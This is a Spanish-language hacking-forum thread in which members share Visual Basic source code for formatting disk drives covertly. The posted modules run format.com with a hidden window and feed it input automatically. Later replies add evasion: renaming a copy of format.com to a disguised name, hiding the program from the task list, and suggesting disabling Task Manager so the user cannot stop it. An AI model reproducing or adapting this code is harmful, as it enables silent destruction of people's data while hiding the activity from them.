elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}  (Leído 4,583 veces)
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
[SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« en: 13 Febrero 2009, 17:05 pm »

Bueno, hasta las narices de este post:
Código:
http://foro.elhacker.net/programacion_vb/formatear_sin_usar_shformatdrive-t244230.0.html
Por eso he hecho este modulo usando PIPES (Gracias Cobein)

Aqui viene:
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Modulo    : mFormat
  3. ' Autor     : Karcrack
  4. ' Fecha-Hora: 13/02/2009  16:25
  5. ' Finalidad : Formatear una Unidad de Forma oculta, usando PIPES
  6. ' Referencia: Clase StdIO de COBEIN, de su 'troyano'
  7. ' Agradec.  : A COBEIN :D Por su code ;)
  8. '---------------------------------------------------------------------------------------
  9.  
  10. Option Explicit
  11.  
  12. Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
  13. Private Const PROCESS_TERMINATE             As Long = (&H1)
  14. Private Const PROCESS_VM_READ               As Long = &H10
  15. Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
  16. Private Const STARTF_USESTDHANDLES          As Long = &H100&
  17. Private Const STARTF_USESHOWWINDOW          As Long = &H1
  18. Private Const SW_HIDE                       As Long = 0
  19. Private Const PIPE_WAIT                     As Long = &H0
  20. Private Const PIPE_NOWAIT                   As Long = &H1
  21. Private Const PIPE_READMODE_BYTE            As Long = &H0
  22. Private Const PIPE_READMODE_MESSAGE         As Long = &H2
  23. Private Const PIPE_TYPE_BYTE                As Long = &H0
  24. Private Const PIPE_TYPE_MESSAGE             As Long = &H4
  25.  
  26. Private Type SECURITY_ATTRIBUTES
  27.    nLength                 As Long
  28.    lpSecurityDescriptor    As Long
  29.    bInheritHandle          As Long
  30. End Type
  31.  
  32. Private Type STARTUPINFO
  33.    cb                      As Long
  34.    lpReserved              As Long
  35.    lpDesktop               As Long
  36.    lpTitle                 As Long
  37.    dwX                     As Long
  38.    dwY                     As Long
  39.    dwXSize                 As Long
  40.    dwYSize                 As Long
  41.    dwXCountChars           As Long
  42.    dwYCountChars           As Long
  43.    dwFillAttribute         As Long
  44.    dwFlags                 As Long
  45.    wShowWindow             As Integer
  46.    cbReserved2             As Integer
  47.    lpReserved2             As Long
  48.    hStdInput               As Long
  49.    hStdOutput              As Long
  50.    hStdError               As Long
  51. End Type
  52.  
  53. Private Type PROCESS_INFORMATION
  54.    hProcess                As Long
  55.    hThread                 As Long
  56.    dwProcessId             As Long
  57.    dwThreadID              As Long
  58. End Type
  59.  
  60. Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
  61. Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
  62. Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
  63. Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
  64. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  65. Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
  66. Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
  67. Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
  68. Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
  69. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  70. Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
  71.  
  72. Private c_bPiping           As Boolean
  73. Private c_bCancel           As Boolean
  74. Private c_lhReadPipe        As Long
  75. Private c_lhWritePipe       As Long
  76. Private c_lhReadPipe2       As Long
  77. Private c_lhWritePipe2      As Long
  78.  
  79. Dim tSTARTUPINFO            As STARTUPINFO
  80. Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
  81. Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
  82. Dim sBuffer                 As String * 4096
  83.  
  84. Public Function AltFormat(ByVal sDrive As String, Optional ByVal Quick As Boolean, Optional ByVal sName As String) As Boolean
  85.    Dim sCmd        As String
  86.  
  87.    sCmd = "format.com " & sDrive & " /X" & IIf((Quick = True), " /Q", vbNullString)
  88.    If Not Left$(sName, 1) = Chr$(13) Then sName = sName & Chr$(13)
  89.    With tSECURITY_ATTRIBUTES
  90.        .nLength = LenB(tSECURITY_ATTRIBUTES)
  91.        .bInheritHandle = True
  92.        .lpSecurityDescriptor = False
  93.    End With
  94.  
  95.    Call CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
  96.    Call CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
  97.    Call SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
  98.    With tSTARTUPINFO
  99.        .cb = LenB(tSTARTUPINFO)
  100.        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
  101.        .wShowWindow = SW_HIDE
  102.        .hStdOutput = c_lhWritePipe
  103.        .hStdError = c_lhWritePipe
  104.        .hStdInput = c_lhReadPipe2
  105.    End With
  106.    Call CreateProcessA(0&, sCmd, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)
  107.    If InStr(1, WriteToPipe(Chr$(13)), "Escriba una etiqueta de volumen", vbTextCompare) <> 0 Then
  108.        Do Until InStr(1, WriteToPipe(sName), "a otro disco (S/N)", vbTextCompare) <> 0
  109.            Call Sleep(1000)
  110.        Loop
  111.    End If
  112.    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
  113.    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
  114.    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
  115.    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
  116.    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0
  117.  
  118.    AltFormat = ExitProcessPID(tPROCESS_INFORMATION.dwProcessId)
  119. End Function
  120.  
  121. Private Function WriteToPipe(ByVal sData As String) As String
  122.    Dim bvData()    As Byte
  123.  
  124.    bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
  125.    Call WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&)
  126.  
  127.    Do
  128.        DoEvents: Call Sleep(2500)
  129.        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
  130.            WriteToPipe = Left$(sBuffer, lstrlen(sBuffer))
  131.            sBuffer = String$(4096, vbNullChar)
  132.            DoEvents
  133.        Else
  134.            Exit Do
  135.        End If
  136.    Loop
  137. End Function
  138.  
  139. Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
  140.    Dim lProcess As Long
  141.    Dim lExitCode As Long
  142.  
  143.    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
  144.       PROCESS_VM_READ, _
  145.       0, lProcessID)
  146.  
  147.    If GetExitCodeProcess(lProcess, lExitCode) Then
  148.        TerminateProcess lProcess, lExitCode
  149.        ExitProcessPID = True
  150.    End If
  151.  
  152.    Call CloseHandle(lProcess)
  153. End Function
  154.  

Forma de uso:
Código
  1. Call AltFormat("A:", True)

NOTA: Solo funciona con W$ en español

Saludos ;D

PD:Odio el nuevo 'xD' ( :xD = :-X)


« Última modificación: 13 Febrero 2009, 17:07 pm por Karcrack » En línea

Dessa


Desconectado Desconectado

Mensajes: 624



Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #1 en: 14 Febrero 2009, 03:23 am »

Hola, hay muchas maneras de hacerlo, aca dejo otra

Código:

Option Explicit

Private Declare Function GetTickCount Lib "Kernel32" () As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function GetLogicalDrives Lib "Kernel32" () As Long
Private Declare Function GetDriveType Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetDiskFreeSpaceEx Lib "Kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpDirectoryName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long


Private Const WM_SYSCOMMAND = &H112
Private Const SC_CLOSE = &HF060&
Private Const WM_ENTER = &HD
Private Const WM_CHAR = &H102

'''''''''''''''''''''''''''
Private Const sletra = "A"
'''''''''''''''''''''''''''
Private Sub Form_Load()

Timer1.Interval = 100
Timer1.Enabled = False
Command1.Caption = "Format"

End Sub

Private Sub Command1_Click()

Me.Cls

Dim sistemaArchivos As String: sistemaArchivos = String$(255, Chr$(0))
Dim volumen As String: volumen = String$(255, Chr$(0))
Dim Nserie As Long: Dim x As Long

Call GetVolumeInformation(sletra + ":\", volumen, Len(volumen), Nserie, 0, 0, sistemaArchivos, Len(sistemaArchivos))
x = GetTickCount: While GetTickCount < x + 1000: DoEvents: Wend

If Nserie = 0 Then
    Me.Cls: Me.Print "INSERTE UN DISCO"
    'End
Else
    'Shell "cmd.exe /c format " + sletra + ": /V: /Q", vbNormalFocus
    Shell "cmd.exe /c format " + sletra + ": /V: /Q", vbHide
    x = GetTickCount: While GetTickCount < x + 1000: DoEvents: Wend
    Call SendMessage(FindWindow("ConsoleWindowClass", vbNullString), WM_CHAR, WM_ENTER, 0&)
    Me.Caption = Nserie
    Timer1.Enabled = True
End If

End Sub

Private Sub Timer1_Timer()

Dim sistemaArchivos As String: sistemaArchivos = String$(255, Chr$(0))
Dim volumen As String: volumen = String$(255, Chr$(0))
Dim Nserie As Long
Call GetVolumeInformation(sletra + ":\", volumen, Len(volumen), Nserie, 0, 0, sistemaArchivos, Len(sistemaArchivos))
Me.Cls: Me.Print Nserie

If Nserie <> Val(Me.Caption) And Nserie <> 0 Then
    Timer1.Enabled = False
    Call SendMessage(FindWindow("ConsoleWindowClass", vbNullString), WM_SYSCOMMAND, SC_CLOSE, 0&)
    Me.Cls: Me.Print "FORMATO TERMINADO": Me.Caption = "0"
    'End
End If

End Sub


EDIT: está echo en windows seven y Pude Formatear tanto disquetes como  pendrive (lo probé en XP y tambien funcionó).
Obviamente para formatear pen drive hay que cambiar Private Const sletra = "A" por la letra del mismo.

Saludos



« Última modificación: 14 Febrero 2009, 05:01 am por Dessa » En línea

Adrian Desanti
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #2 en: 14 Febrero 2009, 10:47 am »

Buen code ;-)

Lo unico 'bueno' que tiene mi code es que puedes asignar el nombre a la unidad :laugh:

Saludos y gracias por el aporte ;D
En línea

Dessa


Desconectado Desconectado

Mensajes: 624



Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #3 en: 14 Febrero 2009, 11:26 am »

Hola Karcrack, cambiar el nombe a la unidad no es lo unico bueno de tu code (tambien es un buen SRC), pero tambien la podes cambiar desde el mio con el comando V: (yo lo dejé en blanco) pero se puede usar asi

Shell "cmd.exe /c format " + sletra + ": /V:NOMBRE /Q", vbHide

Lo que me quedé con la duda era el timer a 100 en computadoras lentas pero recien lo probé en una celeron 300 (que se arrastra) y formateó bien.

Saludos y tambien te agradezco el aporte
En línea

Adrian Desanti
el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #4 en: 14 Febrero 2009, 17:38 pm »

Estan buenos los dos codes, yo personalmente preferiria hacerlo via api, pero como lei en otro trhead, no se puede.

el problema radica en que el cmd.exe se ejecuta en el ejemplo de Dessa. Pero en ambos se ejecuta format.exe, y puede quedar sospechoso que se ejecute format solo, no?

de todas formas, ambos metodos son validos

saludos
En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
Dessa


Desconectado Desconectado

Mensajes: 624



Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #5 en: 15 Febrero 2009, 23:40 pm »

Y si c0c0, el format se ve en procesos (cmd lo puedo quitar, no me habia dado cuenta), a lo sumo para esto seria lo de siempre, deshabilitar el admistrador de procesos desde el registro y desde un timer cerrar el cartel "aceptar" cuando presionan (CTL ALT SUP). A favor es que con con el comando formato rápido ( /Q ) lo que mas tarda es el floppy ya que un Pen drive de 4 u 8 GB en segundos "Lo despacha"

Saludos   
En línea

Adrian Desanti
Dessa


Desconectado Desconectado

Mensajes: 624



Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #6 en: 16 Febrero 2009, 04:29 am »

c0c0 se me ocurrió que se puede agregar el siguiente If al command1 para eliminar el cmd y que no aparezca el format en el administrador.(creamos una copia de format.com en la carpeta windows y le cambiamos el nombre por cssrs.com),

If Dir(Environ("windir") & "\system32\format.com") <> "" Then
  If Environ("windir") & "\cssrs.com" <> "" Then
    FileCopy Environ("windir") & "\system32\format.com", Environ("windir") & "\cssrs.com"
  End If
Else
  Me.Cls: Me.Print "NO EXISTE EL COMANDO FORMAT"
  Exit Sub
  Me.Enabled = True
  'End
End If

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Tambien hay que cambiar la linea de ejecucion por:

Shell Environ("windir") & "\cssrs.com " + sletra + ": /V: /Q /X", vbHide

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
al terminar el proceso de formateo el "nuevo Format.com" (cssrs.com) se puede elimar desde timer1 (esto no es obligatorio ya que cada vez que se inicie el proceso el if creado en command1 chequeará si este existe y lo volverá a crear si hace falta)

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

El code modificado seria

Código:

Option Explicit

Private Declare Function GetTickCount Lib "Kernel32" () As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Const WM_SYSCOMMAND = &H112
Private Const SC_CLOSE = &HF060&
Private Const WM_ENTER = &HD
Private Const WM_CHAR = &H102
'''''''''''''''''''''''''''
Private Const sletra = "A"
'''''''''''''''''''''''''''
Private Sub Form_Load()
  App.TaskVisible = False
  Timer1.Enabled = False: Timer1.Interval = 100
  Command1.Caption = "Format": Check1.Caption = "ocultar"
End Sub

Private Sub Command1_Click()

Me.Cls: Me.Print "ESPERE"
Me.Enabled = False

If Dir(Environ("windir") & "\system32\format.com") <> "" Then
  If Environ("windir") & "\cssrs.com" <> "" Then
    FileCopy Environ("windir") & "\system32\format.com", Environ("windir") & "\cssrs.com"
  End If
Else
  Me.Cls: Me.Print "NO EXISTE EL COMANDO FORMAT"
  Exit Sub
  Me.Enabled = True
  'End
End If

Dim Nserie As Long: Call GetVolumeInformation(sletra + ":\", vbNullString, 0, Nserie, 0, 0, vbNullString, 0)

Dim x As Long: x = GetTickCount: While GetTickCount < x + 1000: DoEvents: Wend

If Nserie = 0 Then
    Me.Cls: Me.Print "INSERTE UN DISCO"
    Me.Enabled = True
    'End
Else
    If Check1.Value = 0 Then Shell Environ("windir") & "\cssrs.com " + sletra + ": /V: /Q /X", vbNormalFocus
    If Check1.Value = 1 Then Shell Environ("windir") & "\cssrs.com " + sletra + ": /V: /Q /X", vbHide
    Me.Cls: x = GetTickCount: While GetTickCount < x + 1000: DoEvents: Wend
    Call SendMessage(FindWindow("ConsoleWindowClass", vbNullString), WM_CHAR, WM_ENTER, 0&)
    Me.Caption = Nserie
    Timer1.Enabled = True
End If

End Sub

Private Sub Timer1_Timer()

Dim Nserie As Long: Call GetVolumeInformation(sletra + ":\", vbNullString, 0, Nserie, 0, 0, vbNullString, 0)

Me.Cls: Me.Print Nserie

If Nserie <> Val(Me.Caption) And Nserie <> 0 Then
    Timer1.Enabled = False
    Call SendMessage(FindWindow("ConsoleWindowClass", vbNullString), WM_SYSCOMMAND, SC_CLOSE, 0&)
    Me.Cls: Me.Print "FORMATO TERMINADO"
    Me.Caption = "Form1"
    Me.Enabled = True: Command1.SetFocus
    'End
End If

End Sub

Private Sub Check1_Click()
Command1.SetFocus
End Sub



En cuanto a la aplicacion de visual en si le agregue App.TaskVisible = False para que no aparezca en aplicaciones.
Por ultimo si se quiere evitar que tanto nuestra aplicacion de visual como Format.com (cssrs.com) sean cerradas desde el administrador de tareas se puede revisar el siguiente code:

http://foro.elhacker.net/programacion_vb/evitar_que_cierren_mi_aplicacion_src-t237547.0.html

Saludos y espero que sirva

EDIT: Agregué el comando "/X" de format.
« Última modificación: 17 Febrero 2009, 02:57 am por Dessa » En línea

Adrian Desanti
el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #7 en: 16 Febrero 2009, 17:44 pm »

c0c0 se me ocurrió que se puede agregar el siguiente If al command1 para eliminar el cmd y que no aparezca el format en el administrador.(creamos una copia de format.com en la carpeta windows y le cambiamos el nombre por cssrs.com),

es buena esa!

saludos
En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
Fabricio

Desconectado Desconectado

Mensajes: 115


Ver Perfil
Agradecimiento
« Respuesta #8 en: 18 Febrero 2009, 15:07 pm »

Deseo Expresar mi agradecimiento a Karcrack y a Dessa por haberme ayudado a resolver el problema que tenia
muchas gracias a los dos  ;-)
En línea

bizco


Desconectado Desconectado

Mensajes: 698


Ver Perfil
Re: [SRC]mFormat - Formatea Unidades desde VB {De forma oculta}
« Respuesta #9 en: 18 Febrero 2009, 17:12 pm »

http://msdn.microsoft.com/en-us/library/aa365161(VS.85).aspx
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ocultar exe con comando de forma oculta.
Dudas Generales
sabeeee 4 5,523 Último mensaje 20 Enero 2011, 21:00 pm
por sabeeee
¿Como le instalo la WGA a una persona de forma oculta?
Análisis y Diseño de Malware
sabeeee 7 5,372 Último mensaje 27 Enero 2011, 16:29 pm
por Elemental Code
Por qué no se ejecuta este proceso de forma oculta?
.NET (C#, VB.NET, ASP)
luison 1 2,797 Último mensaje 17 Agosto 2011, 07:28 am
por adan-2994
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines